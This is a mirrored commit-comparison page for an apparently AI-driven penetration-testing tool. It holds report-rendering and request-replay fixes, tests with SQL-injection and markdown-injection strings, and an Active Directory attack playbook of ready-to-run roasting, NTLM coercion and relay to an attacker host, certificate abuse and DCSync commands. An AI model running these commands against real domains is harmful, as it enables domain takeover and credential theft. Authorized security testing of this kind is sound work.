mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 09:26:39 +02:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1ee4d0ae45 | ||
|
|
46805e6fe9 | ||
|
|
ad27f0c67e | ||
|
|
f967e6017b | ||
|
|
f9890a672d | ||
|
|
599f7c7526 | ||
|
|
8cd9abba21 |
+26
-4
@@ -6,6 +6,7 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import tempfile
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
@@ -18,6 +19,21 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def _safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
Per CommonMark a fenced code block is closed only by a run of backticks at
|
||||
least as long as the opening fence. LLM-authored, attacker-influenced values
|
||||
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
|
||||
a fence one backtick longer than the longest run inside ``content`` (never
|
||||
fewer than three). Everything in ``content`` then renders verbatim.
|
||||
"""
|
||||
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
|
||||
return "`" * max(3, longest + 1)
|
||||
|
||||
|
||||
def read_run_record(run_dir: Path) -> dict[str, Any]:
|
||||
path = run_record_path(run_dir)
|
||||
@@ -171,9 +187,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
lines.append(str(report["poc_description"]))
|
||||
lines.append("")
|
||||
if report.get("poc_script_code"):
|
||||
lines.append("```")
|
||||
lines.append(str(report["poc_script_code"]))
|
||||
lines.append("```")
|
||||
code = str(report["poc_script_code"])
|
||||
fence = _safe_fence(code)
|
||||
lines.append(fence)
|
||||
lines.append(code)
|
||||
lines.append(fence)
|
||||
lines.append("")
|
||||
|
||||
if report.get("code_locations"):
|
||||
@@ -190,7 +208,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
if loc.get("label"):
|
||||
lines.append(f" {loc['label']}")
|
||||
if loc.get("snippet"):
|
||||
lines.append(f" ```\n {loc['snippet']}\n ```")
|
||||
snippet = str(loc["snippet"])
|
||||
fence = _safe_fence(snippet)
|
||||
lines.append(f" {fence}")
|
||||
lines.extend(f" {ln}" for ln in snippet.splitlines())
|
||||
lines.append(f" {fence}")
|
||||
if loc.get("fix_before") or loc.get("fix_after"):
|
||||
lines.append("\n **Suggested Fix:**")
|
||||
lines.append("```diff")
|
||||
|
||||
@@ -0,0 +1,233 @@
|
||||
---
|
||||
name: active_directory
|
||||
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
|
||||
---
|
||||
|
||||
# Active Directory
|
||||
|
||||
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Core services (per domain controller)**
|
||||
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
|
||||
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
|
||||
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
|
||||
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
|
||||
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
|
||||
|
||||
**Principals & objects**
|
||||
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
|
||||
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
|
||||
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
|
||||
|
||||
**Trust boundaries**
|
||||
- Intra-forest (parent/child), inter-forest, external, SID history
|
||||
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Anonymous / pre-auth (no creds)**
|
||||
```
|
||||
# Domain + naming context from LDAP rootDSE
|
||||
nmap -Pn -p 389 --script ldap-rootdse <DC>
|
||||
# SMB null session / signing / OS
|
||||
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
|
||||
enum4linux-ng -A <DC>
|
||||
# Username-less user enum via Kerberos pre-auth
|
||||
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
|
||||
```
|
||||
|
||||
**Authenticated enumeration (any valid user)**
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
|
||||
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
|
||||
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
|
||||
```
|
||||
|
||||
**BloodHound graph (the single most valuable step)**
|
||||
```
|
||||
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
|
||||
# or, remote SharpHound-equivalent collector:
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
|
||||
```
|
||||
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Kerberos Roasting
|
||||
|
||||
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
|
||||
# or impacket
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
|
||||
hashcat -m 13100 kerb.txt wordlist.txt
|
||||
```
|
||||
|
||||
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
|
||||
```
|
||||
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
|
||||
hashcat -m 18200 asrep.txt wordlist.txt
|
||||
```
|
||||
|
||||
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
|
||||
|
||||
### Delegation Abuse
|
||||
|
||||
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
|
||||
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
|
||||
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
|
||||
```
|
||||
# RBCD chain
|
||||
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
|
||||
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
|
||||
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
|
||||
```
|
||||
|
||||
### AD Certificate Services (ESC1-ESC17)
|
||||
|
||||
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
|
||||
```
|
||||
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
|
||||
```
|
||||
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
|
||||
```
|
||||
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
|
||||
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
|
||||
```
|
||||
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
|
||||
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
|
||||
|
||||
### NTLM Coercion & Relay
|
||||
|
||||
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
|
||||
```
|
||||
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
|
||||
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
|
||||
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
# 2. Coerce a target to authenticate
|
||||
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
|
||||
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
|
||||
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
|
||||
```
|
||||
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
|
||||
|
||||
### DACL / Object Abuse
|
||||
|
||||
From BloodHound edges:
|
||||
- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
|
||||
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
|
||||
- **ForceChangePassword** → reset a target's password.
|
||||
- **AddMember** on a privileged group → self-add.
|
||||
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
|
||||
```
|
||||
# Shadow Credentials (no password reset needed, stealthier)
|
||||
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
|
||||
# bloodyAD for generic DACL edits
|
||||
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
|
||||
```
|
||||
|
||||
### Credential Access & Domain Dominance
|
||||
|
||||
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
|
||||
```
|
||||
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
|
||||
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
|
||||
```
|
||||
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
|
||||
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
|
||||
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
|
||||
|
||||
### Known unauthenticated CVEs (patch-dependent)
|
||||
|
||||
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
|
||||
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
|
||||
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
|
||||
Confirm with a version/patch check before firing — these are destructive.
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
|
||||
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
|
||||
- **SID history injection** across trusts for cross-domain/forest escalation.
|
||||
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
|
||||
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
|
||||
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
|
||||
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
|
||||
4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
|
||||
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
|
||||
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
|
||||
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
|
||||
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
|
||||
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
|
||||
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
|
||||
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
|
||||
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
|
||||
|
||||
## False Positives
|
||||
|
||||
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
|
||||
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
|
||||
- Delegation flags present but the account is disabled or the target SPN is unreachable.
|
||||
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
|
||||
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
|
||||
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
|
||||
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
|
||||
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
|
||||
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
|
||||
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
|
||||
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
|
||||
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
|
||||
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
|
||||
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
|
||||
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
|
||||
|
||||
## Tooling
|
||||
|
||||
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
|
||||
|
||||
```
|
||||
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
|
||||
pipx install impacket
|
||||
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
|
||||
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
|
||||
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
|
||||
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
|
||||
pipx install bloodyAD # DACL / LDAP object edits over LDAP
|
||||
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
|
||||
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
|
||||
|
||||
# Kali apt packages
|
||||
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
|
||||
```
|
||||
|
||||
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
|
||||
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
|
||||
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
|
||||
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
|
||||
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
|
||||
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
|
||||
|
||||
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
|
||||
|
||||
## Summary
|
||||
|
||||
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
|
||||
@@ -167,6 +167,9 @@ async def get_request_with_client(
|
||||
return await client.request.get(request_id, opts)
|
||||
|
||||
|
||||
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
|
||||
|
||||
|
||||
def build_raw_request(
|
||||
*,
|
||||
method: str,
|
||||
@@ -187,7 +190,16 @@ def build_raw_request(
|
||||
final_headers = {**headers}
|
||||
final_headers.setdefault("Host", parsed.netloc)
|
||||
final_headers.setdefault("User-Agent", "strix")
|
||||
if body and "Content-Length" not in {k.title() for k in final_headers}:
|
||||
# Framing headers inherited from the captured request describe the ORIGINAL
|
||||
# body; once the body is modified for replay they are stale. We always send a
|
||||
# plain (non-chunked) body with an explicit Content-Length, so drop any
|
||||
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
|
||||
# recompute the length from the body actually being sent. This keeps the two
|
||||
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
|
||||
# Transfer-Encoding would make the target ignore Content-Length and try to
|
||||
# parse the body as chunked), so the replay is never desynced.
|
||||
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
|
||||
if body:
|
||||
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
|
||||
|
||||
lines = [f"{method.upper()} {path} HTTP/1.1"]
|
||||
|
||||
@@ -422,6 +422,30 @@ async def create_vulnerability_report(
|
||||
"availability": "H"
|
||||
}
|
||||
|
||||
**CVSS calibration** — score the weakness you actually proved, not a
|
||||
hypothetical worst case. Most over-rating comes from these mistakes:
|
||||
|
||||
- **Don't presuppose a separate compromise.** If exploitation
|
||||
requires the attacker to already hold a victim secret (a stolen
|
||||
session cookie/token, a leaked one-time link, intercepted traffic),
|
||||
that acquisition is not free. Do not score it as
|
||||
``privileges_required:N`` with ``attack_complexity:L`` as if
|
||||
directly reachable, and do not rate a replay-of-captured-secret
|
||||
issue High/Critical unless the *same* finding demonstrates a
|
||||
concrete way to obtain that secret. Issues like a session that
|
||||
survives logout or a replayable link are session-management /
|
||||
defense-in-depth weaknesses — usually Low/Medium on their own.
|
||||
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
|
||||
``I:H`` require proof of wide or systemic read/write. A single
|
||||
user's data, a read-only information leak, or merely confirming
|
||||
that an account / domain / software version *exists* (enumeration)
|
||||
is ``C:L`` (often ``I:N``) — not ``C:H``.
|
||||
- **Model required position and interaction honestly.** An
|
||||
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
|
||||
or a required victim action is not guaranteed — reflect it in
|
||||
``attack_complexity`` / ``user_interaction`` instead of assuming the
|
||||
ideal condition always holds.
|
||||
|
||||
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
|
||||
``CWE-89``) — no name, no parenthetical. Be 100% certain; if
|
||||
unsure, use ``web_search`` to verify the ID before passing, or omit
|
||||
|
||||
@@ -140,6 +140,59 @@ async def test_host_call_serializes_concurrent_calls() -> None:
|
||||
assert state["max"] == 1
|
||||
|
||||
|
||||
def _headers_named(raw: bytes, name: str) -> list[str]:
|
||||
head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
|
||||
return [
|
||||
line.split(":", 1)[1].strip()
|
||||
for line in head.split("\r\n")[1:]
|
||||
if line.split(":", 1)[0].strip().lower() == name.lower()
|
||||
]
|
||||
|
||||
|
||||
def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
|
||||
# The captured request declared Content-Length: 12 (original body); the
|
||||
# replayed body is longer. The emitted request must carry exactly one
|
||||
# Content-Length equal to the ACTUAL body length, or the target truncates
|
||||
# the modified payload (or the connection desyncs).
|
||||
body = '{"user":"a\' OR 1=1 -- injected long payload"}'
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/login",
|
||||
headers={"content-length": "12", "Content-Type": "application/json"},
|
||||
body=body,
|
||||
)
|
||||
sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
|
||||
assert sent_body == body
|
||||
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
|
||||
|
||||
|
||||
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
|
||||
body = '{"user":"updated"}'
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/login",
|
||||
headers={
|
||||
"tRaNsFeR-EnCoDiNg": "chunked",
|
||||
"Content-Length": "7",
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body=body,
|
||||
)
|
||||
assert _headers_named(raw, "Transfer-Encoding") == []
|
||||
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
|
||||
|
||||
|
||||
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
|
||||
# A body cleared to empty must not keep the inherited (non-zero) length.
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/x",
|
||||
headers={"Content-Length": "12"},
|
||||
body="",
|
||||
)
|
||||
assert _headers_named(raw, "Content-Length") == []
|
||||
|
||||
|
||||
class _Ctx:
|
||||
def __init__(self, context: Any) -> None:
|
||||
self.context = context
|
||||
|
||||
@@ -113,6 +113,28 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
|
||||
assert "## Assumptions" in md
|
||||
|
||||
|
||||
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
|
||||
# LLM/target-authored PoC content containing its own ``` must not close the
|
||||
# fence early and turn the injected markdown into live headings/images.
|
||||
injected = "curl x\n```\n\n## Injected Heading\n"
|
||||
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
|
||||
lines = md.split("\n")
|
||||
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
|
||||
assert set(fence) == {"`"}
|
||||
assert len(fence) >= 4 # wider than the payload's 3-backtick run
|
||||
assert injected in md # the payload survives verbatim, inside the fence
|
||||
|
||||
|
||||
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
|
||||
snippet = "row = q()\n```\n## Injected"
|
||||
md = render_vulnerability_md(
|
||||
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
|
||||
)
|
||||
assert (
|
||||
" ````\n row = q()\n ```\n ## Injected\n ````"
|
||||
) in md # indented fence widened past the payload's ``` run
|
||||
|
||||
|
||||
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
|
||||
reports = [
|
||||
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
|
||||
|
||||
Reference in New Issue
Block a user